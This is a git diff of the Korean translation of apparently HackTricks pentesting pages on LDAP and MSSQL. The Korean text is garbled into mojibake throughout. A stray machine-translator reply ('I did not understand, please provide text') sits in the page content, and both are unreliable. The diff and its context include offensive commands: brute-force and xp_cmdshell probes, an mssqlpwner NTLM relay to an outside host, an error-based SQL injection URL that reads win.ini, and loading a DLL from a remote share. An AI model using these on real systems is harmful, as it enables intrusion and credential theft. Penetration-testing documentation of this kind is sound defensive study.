๊ทธ๋ž˜ํ”ฝ ์ธํ„ฐํŽ˜์ด์Šค +## Graphical Interface ### Apache Directory @@ -280,17 +280,17 @@ done ์—ฌ๊ธฐ์—์„œ LDAP ์„œ๋ฒ„์™€ ํ•จ๊ป˜ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ทธ๋ž˜ํ”ฝ ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) -๊ธฐ๋ณธ์ ์œผ๋กœ ๋‹ค์Œ์— ์„ค์น˜๋ฉ๋‹ˆ๋‹ค: _/opt/jxplorer_ +๊ธฐ๋ณธ์ ์œผ๋กœ ๋‹ค์Œ ์œ„์น˜์— ์„ค์น˜๋ฉ๋‹ˆ๋‹ค: _/opt/jxplorer_ ![](<../images/image (482).png>) ### Godap -Godap์€ AD ๋ฐ ๊ธฐํƒ€ LDAP ์„œ๋ฒ„์˜ ๊ฐ์ฒด ๋ฐ ์†์„ฑ๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋Œ€ํ™”ํ˜• ํ„ฐ๋ฏธ๋„ ์‚ฌ์šฉ์ž ์ธํ„ฐํŽ˜์ด์Šค์ž…๋‹ˆ๋‹ค. Windows, Linux ๋ฐ MacOS์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ฐ„๋‹จํ•œ ๋ฐ”์ธ๋“œ, ํŒจ์Šค-๋”-ํ•ด์‹œ, ํŒจ์Šค-๋”-ํ‹ฐ์ผ“ ๋ฐ ํŒจ์Šค-๋”-์ธ์ฆ์„œ์™€ ๊ฐ™์€ ์—ฌ๋Ÿฌ ์ „๋ฌธ ๊ธฐ๋Šฅ์„ ์ง€์›ํ•˜๋ฉฐ, ๊ฐ์ฒด ๊ฒ€์ƒ‰/์ƒ์„ฑ/๋ณ€๊ฒฝ/์‚ญ์ œ, ๊ทธ๋ฃน์—์„œ ์‚ฌ์šฉ์ž ์ถ”๊ฐ€/์ œ๊ฑฐ, ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ, ๊ฐ์ฒด ๊ถŒํ•œ(DACL) ํŽธ์ง‘, Active-Directory ํ†ตํ•ฉ DNS(ADIDNS) ์ˆ˜์ •, JSON ํŒŒ์ผ๋กœ ๋‚ด๋ณด๋‚ด๊ธฐ ๋“ฑ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. +Godap๋Š” AD ๋ฐ ๊ธฐํƒ€ LDAP ์„œ๋ฒ„์˜ ๊ฐ์ฒด ๋ฐ ์†์„ฑ๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋Œ€ํ™”ํ˜• ํ„ฐ๋ฏธ๋„ ์‚ฌ์šฉ์ž ์ธํ„ฐํŽ˜์ด์Šค์ž…๋‹ˆ๋‹ค. Windows, Linux ๋ฐ MacOS์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ฐ„๋‹จํ•œ ๋ฐ”์ธ๋“œ, ํŒจ์Šค-๋”-ํ•ด์‹œ, ํŒจ์Šค-๋”-ํ‹ฐ์ผ“ ๋ฐ ํŒจ์Šค-๋”-์ธ์ฆ์„œ์™€ ๊ฐ™์€ ์—ฌ๋Ÿฌ ์ „๋ฌธ ๊ธฐ๋Šฅ์„ ์ง€์›ํ•˜๋ฉฐ, ๊ฐ์ฒด ๊ฒ€์ƒ‰/์ƒ์„ฑ/๋ณ€๊ฒฝ/์‚ญ์ œ, ๊ทธ๋ฃน์—์„œ ์‚ฌ์šฉ์ž ์ถ”๊ฐ€/์ œ๊ฑฐ, ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ, ๊ฐ์ฒด ๊ถŒํ•œ(DACL) ํŽธ์ง‘, Active-Directory ํ†ตํ•ฉ DNS(ADIDNS) ์ˆ˜์ •, JSON ํŒŒ์ผ๋กœ ๋‚ด๋ณด๋‚ด๊ธฐ ๋“ฑ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ![](../images/godap.png) -[https://github.com/Macmod/godap](https://github.com/Macmod/godap)์—์„œ ์•ก์„ธ์Šคํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ ์˜ˆ์ œ ๋ฐ ์ง€์นจ์€ [Wiki](https://github.com/Macmod/godap/wiki)๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”. +[https://github.com/Macmod/godap](https://github.com/Macmod/godap)์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ ์˜ˆ์ œ ๋ฐ ์ง€์นจ์€ [Wiki](https://github.com/Macmod/godap/wiki)๋ฅผ ์ฝ์–ด๋ณด์„ธ์š”. ### Ldapx @@ -300,7 +300,7 @@ Ldapx๋Š” ๋‹ค๋ฅธ ๋„๊ตฌ์˜ LDAP ํŠธ๋ž˜ํ”ฝ์„ ๊ฒ€์‚ฌํ•˜๊ณ  ๋ณ€ํ™˜ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx)์—์„œ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -## kerberos๋ฅผ ํ†ตํ•œ ์ธ์ฆ +## Authentication via kerberos `ldapsearch`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **NTLM** ๋Œ€์‹  **kerberos์— ๋Œ€ํ•ด ์ธ์ฆ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งค๊ฐœ๋ณ€์ˆ˜ `-Y GSSAPI`๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. @@ -347,7 +347,7 @@ Description: Notes for LDAP Note: | The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint. -https://book.hacktricks.xyz/pentesting/pentesting-ldap +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 190fa7dcf..9e98d2c28 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -6,7 +6,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): -> **Microsoft SQL Server**๋Š” Microsoft์—์„œ ๊ฐœ๋ฐœํ•œ **๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค** ๊ด€๋ฆฌ ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์„œ๋ฒ„๋กœ์„œ, ๋‹ค๋ฅธ ์†Œํ”„ํŠธ์›จ์–ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์š”์ฒญํ•œ ๋Œ€๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๊ณ  ๊ฒ€์ƒ‰ํ•˜๋Š” ๊ธฐ๋ณธ ๊ธฐ๋Šฅ์„ ๊ฐ€์ง„ ์†Œํ”„ํŠธ์›จ์–ด ์ œํ’ˆ์ž…๋‹ˆ๋‹ค. ์ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ๋™์ผํ•œ ์ปดํ“จํ„ฐ์—์„œ ์‹คํ–‰๋˜๊ฑฐ๋‚˜ ๋„คํŠธ์›Œํฌ(์ธํ„ฐ๋„ท ํฌํ•จ)๋ฅผ ํ†ตํ•ด ๋‹ค๋ฅธ ์ปดํ“จํ„ฐ์—์„œ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +> **Microsoft SQL Server**๋Š” Microsoft์—์„œ ๊ฐœ๋ฐœํ•œ **๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค** ๊ด€๋ฆฌ ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์„œ๋ฒ„๋กœ์„œ, ๋‹ค๋ฅธ ์†Œํ”„ํŠธ์›จ์–ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์š”์ฒญํ•œ ๋Œ€๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๊ณ  ๊ฒ€์ƒ‰ํ•˜๋Š” ์ฃผ์š” ๊ธฐ๋Šฅ์„ ๊ฐ€์ง„ ์†Œํ”„ํŠธ์›จ์–ด ์ œํ’ˆ์ž…๋‹ˆ๋‹ค. ์ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ๋™์ผํ•œ ์ปดํ“จํ„ฐ์—์„œ ์‹คํ–‰๋˜๊ฑฐ๋‚˜ ๋„คํŠธ์›Œํฌ(์ธํ„ฐ๋„ท ํฌํ•จ)๋ฅผ ํ†ตํ•ด ๋‹ค๋ฅธ ์ปดํ“จํ„ฐ์—์„œ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **๊ธฐ๋ณธ ํฌํŠธ:** 1433 ``` @@ -14,7 +14,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): ``` ### **๊ธฐ๋ณธ MS-SQL ์‹œ์Šคํ…œ ํ…Œ์ด๋ธ”** -- **master Database**: ์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” SQL Server ์ธ์Šคํ„ด์Šค์˜ ๋ชจ๋“  ์‹œ์Šคํ…œ ์ˆ˜์ค€ ์„ธ๋ถ€ ์ •๋ณด๋ฅผ ์บก์ฒ˜ํ•˜๋ฏ€๋กœ ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. +- **master Database**: ์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” SQL Server ์ธ์Šคํ„ด์Šค์˜ ๋ชจ๋“  ์‹œ์Šคํ…œ ์ˆ˜์ค€ ์„ธ๋ถ€์ •๋ณด๋ฅผ ์บก์ฒ˜ํ•˜๋ฏ€๋กœ ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. - **msdb Database**: SQL Server Agent๋Š” ์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•Œ๋ฆผ ๋ฐ ์ž‘์—…์˜ ์ผ์ •์„ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค. - **model Database**: SQL Server ์ธ์Šคํ„ด์Šค์˜ ๋ชจ๋“  ์ƒˆ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋Œ€ํ•œ ์ฒญ์‚ฌ์ง„ ์—ญํ• ์„ ํ•˜๋ฉฐ, ํฌ๊ธฐ, ์ •๋ ฌ, ๋ณต๊ตฌ ๋ชจ๋ธ ๋“ฑ๊ณผ ๊ฐ™์€ ๋ณ€๊ฒฝ ์‚ฌํ•ญ์ด ์ƒˆ๋กœ ์ƒ์„ฑ๋œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋ฐ˜์˜๋ฉ๋‹ˆ๋‹ค. - **Resource Database**: SQL Server์™€ ํ•จ๊ป˜ ์ œ๊ณต๋˜๋Š” ์‹œ์Šคํ…œ ๊ฐ์ฒด๋ฅผ ํฌํ•จํ•˜๋Š” ์ฝ๊ธฐ ์ „์šฉ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฐ์ฒด๋Š” Resource ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋ฌผ๋ฆฌ์ ์œผ๋กœ ์ €์žฅ๋˜์ง€๋งŒ, ๋ชจ๋“  ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ sys ์Šคํ‚ค๋งˆ์—์„œ ๋…ผ๋ฆฌ์ ์œผ๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. @@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config msf> use auxiliary/scanner/mssql/mssql_ping ``` > [!NOTE] -> ์ž๊ฒฉ ์ฆ๋ช…์ด **์—†๋Š” ๊ฒฝ์šฐ** ์ถ”์ธกํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. nmap ๋˜๋Š” metasploit์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฃผ์˜ํ•˜์„ธ์š”, ๊ธฐ์กด ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ ์‚ฌ์šฉํ•˜์—ฌ ์—ฌ๋Ÿฌ ๋ฒˆ ๋กœ๊ทธ์ธ์— ์‹คํŒจํ•˜๋ฉด **๊ณ„์ •์ด ์ฐจ๋‹จ**๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +> ์ž๊ฒฉ ์ฆ๋ช…์ด **์—†๋‹ค๋ฉด** ์ถ”์ธกํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. nmap ๋˜๋Š” metasploit์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฃผ์˜ํ•˜์„ธ์š”, ๊ธฐ์กด ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ ์‚ฌ์šฉํ•˜์—ฌ ์—ฌ๋Ÿฌ ๋ฒˆ ๋กœ๊ทธ์ธ์— ์‹คํŒจํ•˜๋ฉด **๊ณ„์ •์ด ์ฐจ๋‹จ**๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. #### Metasploit (์ž๊ฒฉ ์ฆ๋ช… ํ•„์š”) ```bash @@ -160,9 +160,9 @@ SELECT * FROM sysusers - **๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค** โ€“ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์—ญํ• , ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์—ญํ• , ์Šคํ‚ค๋งˆ, ์ธ์ฆ์„œ, ์ „์ฒด ํ…์ŠคํŠธ ์นดํƒˆ๋กœ๊ทธ ๋ฐ ์‚ฌ์šฉ์ž์˜ ์˜ˆ๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. - **์Šคํ‚ค๋งˆ** โ€“ ํ…Œ์ด๋ธ”, ๋ทฐ, ํ”„๋กœ์‹œ์ €, ํ•จ์ˆ˜, ๋™์˜์–ด ๋“ฑ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. 2. **Permission:** SQL Server securables์™€ ๊ด€๋ จ๋œ ๊ถŒํ•œ์œผ๋กœ, ALTER, CONTROL ๋ฐ CREATE์™€ ๊ฐ™์€ ๊ถŒํ•œ์ด ์ฃผ์ฒด์—๊ฒŒ ๋ถ€์—ฌ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ถŒํ•œ ๊ด€๋ฆฌ๋Š” ๋‘ ๊ฐ€์ง€ ์ˆ˜์ค€์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค: -- **์„œ๋ฒ„ ์ˆ˜์ค€** ๋กœ๊ทธ์ธ ์‚ฌ์šฉ -- **๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ˆ˜์ค€** ์‚ฌ์šฉ์ž ์‚ฌ์šฉ -3. **Principal:** ์ด ์šฉ์–ด๋Š” securable์— ๋Œ€ํ•œ ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋œ ์—”ํ‹ฐํ‹ฐ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ์ฃผ์ฒด๋Š” ์ฃผ๋กœ ๋กœ๊ทธ์ธ๊ณผ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์‚ฌ์šฉ์ž๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค. Securables์— ๋Œ€ํ•œ ์ ‘๊ทผ ์ œ์–ด๋Š” ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•˜๊ฑฐ๋‚˜ ๋กœ๊ทธ์ธ ๋ฐ ์‚ฌ์šฉ์ž๋ฅผ ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋Š” ์—ญํ• ์— ํฌํ•จ์‹œํ‚ด์œผ๋กœ์จ ํ–‰์‚ฌ๋ฉ๋‹ˆ๋‹ค. +- **์„œ๋ฒ„ ์ˆ˜์ค€** โ€“ ๋กœ๊ทธ์ธ์„ ์‚ฌ์šฉํ•˜์—ฌ +- **๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ˆ˜์ค€** โ€“ ์‚ฌ์šฉ์ž๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ +3. **Principal:** ์ด ์šฉ์–ด๋Š” securable์— ๋Œ€ํ•œ ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋œ ์—”ํ‹ฐํ‹ฐ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ์ฃผ์ฒด๋Š” ์ฃผ๋กœ ๋กœ๊ทธ์ธ๊ณผ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์‚ฌ์šฉ์ž๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค. Securables์— ๋Œ€ํ•œ ์ ‘๊ทผ ์ œ์–ด๋Š” ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•˜๊ฑฐ๋‚˜, ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋Š” ์—ญํ• ์— ๋กœ๊ทธ์ธ ๋ฐ ์‚ฌ์šฉ์ž๋ฅผ ํฌํ•จ์‹œํ‚ด์œผ๋กœ์จ ํ–‰์‚ฌ๋ฉ๋‹ˆ๋‹ค. ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); @@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell' ### OS ๋ช…๋ น ์‹คํ–‰ > [!CAUTION] -> ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ ค๋ฉด **`xp_cmdshell`** **ํ™œ์„ฑํ™”**๋ฟ๋งŒ ์•„๋‹ˆ๋ผ **`xp_cmdshell` ์ €์žฅ ํ”„๋กœ์‹œ์ €์— ๋Œ€ํ•œ EXECUTE ๊ถŒํ•œ**๋„ ํ•„์š”ํ•˜๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์‹ญ์‹œ์˜ค. **`xp_cmdshell`**์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์‚ฌ๋žŒ(์‹œ์Šคํ…œ ๊ด€๋ฆฌ์ž ์ œ์™ธ)์„ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค: +> ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ ค๋ฉด **`xp_cmdshell`** **ํ™œ์„ฑํ™”**๋ฟ๋งŒ ์•„๋‹ˆ๋ผ **`xp_cmdshell` ์ €์žฅ ํ”„๋กœ์‹œ์ €์— ๋Œ€ํ•œ EXECUTE ๊ถŒํ•œ**๋„ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. **`xp_cmdshell`**์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์‚ฌ๋žŒ(์‹œ์Šคํ…œ ๊ด€๋ฆฌ์ž ์ œ์™ธ)์„ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์„ธ์š”: > > ```sql > Use master @@ -260,7 +260,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2- mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 ``` > [!WARNING] -> sysadmins ์™ธ์— ๋ˆ„๊ฐ€ MSSQL ๊ธฐ๋Šฅ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +> sysadmins ์™ธ์— ๋ˆ„๊ฐ€ ์ด๋Ÿฌํ•œ MSSQL ๊ธฐ๋Šฅ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: > > ```sql > Use master; @@ -269,7 +269,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25 > EXEC sp_helprotect 'xp_fileexist'; > ``` -**responder** ๋˜๋Š” **Inveigh**์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด **NetNTLM ํ•ด์‹œ๋ฅผ ํ›”์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**.\ +**responder** ๋˜๋Š” **Inveigh**์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด **NetNTLM ํ•ด์‹œ๋ฅผ ํ›”์น ** ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ ์ด ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: {{#ref}} @@ -315,13 +315,13 @@ SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_C # Check if you have it SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS'; ``` -#### SQLi๋ฅผ ์œ„ํ•œ ์˜ค๋ฅ˜ ๊ธฐ๋ฐ˜ ๋ฒกํ„ฐ: +#### Error-based vector for SQLi: ``` https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- ``` ### **RCE/ํŒŒ์ผ ์ฝ๊ธฐ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ (Python ๋ฐ R)** -MSSQL์€ **Python ๋ฐ/๋˜๋Š” R**์—์„œ **์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰**์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ฝ”๋“œ๋Š” **xp_cmdshell**์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” **๋‹ค๋ฅธ ์‚ฌ์šฉ์ž**์— ์˜ํ•ด ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. +MSSQL์€ **Python ๋ฐ/๋˜๋Š” R**์—์„œ **์Šคํฌ๋ฆฝํŠธ**๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ฝ”๋“œ๋Š” **xp_cmdshell**์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” **๋‹ค๋ฅธ ์‚ฌ์šฉ์ž**์— ์˜ํ•ด ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. **์ž‘๋™ํ•˜์ง€ ์•Š๋Š”** **'R'** _"Hellow World!"_ ์‹คํ–‰ ์˜ˆ: @@ -346,14 +346,14 @@ GO Microsoft SQL Server๋Š” **์—ฌ๋Ÿฌ ํ™•์žฅ ์ €์žฅ ํ”„๋กœ์‹œ์ €**๋ฅผ ์ œ๊ณตํ•˜์—ฌ ๋„คํŠธ์›Œํฌ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ํŒŒ์ผ ์‹œ์Šคํ…œ ๋ฐ [**Windows ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)์™€๋„ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: | **์ผ๋ฐ˜** | **์ธ์Šคํ„ด์Šค ์ธ์‹** | -| --------------------------- | ------------------------------------ | -| sys.xp_regread | sys.xp_instance_regread | -| sys.xp_regenumvalues | sys.xp_instance_regenumvalues | -| sys.xp_regenumkeys | sys.xp_instance_regenumkeys | -| sys.xp_regwrite | sys.xp_instance_regwrite | -| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue | -| sys.xp_regdeletekey | sys.xp_instance_regdeletekey | -| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring | +| ------------------------- | ---------------------------------- | +| sys.xp_regread | sys.xp_instance_regread | +| sys.xp_regenumvalues | sys.xp_instance_regenumvalues | +| sys.xp_regenumkeys | sys.xp_instance_regenumkeys | +| sys.xp_regwrite | sys.xp_instance_regwrite | +| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue | +| sys.xp_regdeletekey | sys.xp_instance_regdeletekey | +| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring | | sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring | ```sql # Example read registry @@ -370,7 +370,7 @@ EXEC sp_helprotect 'xp_regwrite'; ### MSSQL ์‚ฌ์šฉ์ž ์ •์˜ ํ•จ์ˆ˜๋กœ RCE - SQLHttp -์‚ฌ์šฉ์ž ์ •์˜ ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด **MSSQL ๋‚ด์—์„œ .NET dll์„ ๋กœ๋“œํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค**. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Š” **`dbo` ์ ‘๊ทผ์ด ํ•„์š”ํ•˜๋ฏ€๋กœ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— `sa` ๋˜๋Š” ๊ด€๋ฆฌ์ž ์—ญํ• ๋กœ ์—ฐ๊ฒฐํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค**. +์‚ฌ์šฉ์ž ์ •์˜ ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด **MSSQL ๋‚ด์—์„œ .NET dll์„ ๋กœ๋“œํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค**. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Š” **`dbo` ์ ‘๊ทผ์ด ํ•„์š”**ํ•˜๋ฏ€๋กœ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— **`sa` ๋˜๋Š” ๊ด€๋ฆฌ์ž ์—ญํ• ๋กœ ์—ฐ๊ฒฐํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค**. [์ด ๋งํฌ๋ฅผ ๋”ฐ๋ผ](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) ์˜ˆ์ œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”. @@ -380,7 +380,7 @@ EXEC sp_helprotect 'xp_regwrite'; ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; ``` -์ฃ„์†กํ•ฉ๋‹ˆ๋‹ค, ์š”์ฒญํ•˜์‹  ๋‚ด์šฉ์„ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. +์ฃ„์†กํ•ฉ๋‹ˆ๋‹ค, ์š”์ฒญํ•˜์‹  ๋‚ด์šฉ์„ ์ดํ•ดํ•˜์ง€ ๋ชปํ–ˆ์Šต๋‹ˆ๋‹ค. ๋ฒˆ์—ญํ•  ํŠน์ • ํ…์ŠคํŠธ๋ฅผ ์ œ๊ณตํ•ด ์ฃผ์‹œ๋ฉด ๋„์™€๋“œ๋ฆฌ๊ฒ ์Šต๋‹ˆ๋‹ค. ```csharp using Microsoft.SqlServer.SmartAdmin; using System; @@ -505,7 +505,7 @@ enum_links use_link [NAME] ``` > [!NOTE] -> ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๊ทธ๊ฐ€ sysadmin์ด ์•„๋‹ˆ๋”๋ผ๋„, **์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค๋ฅธ 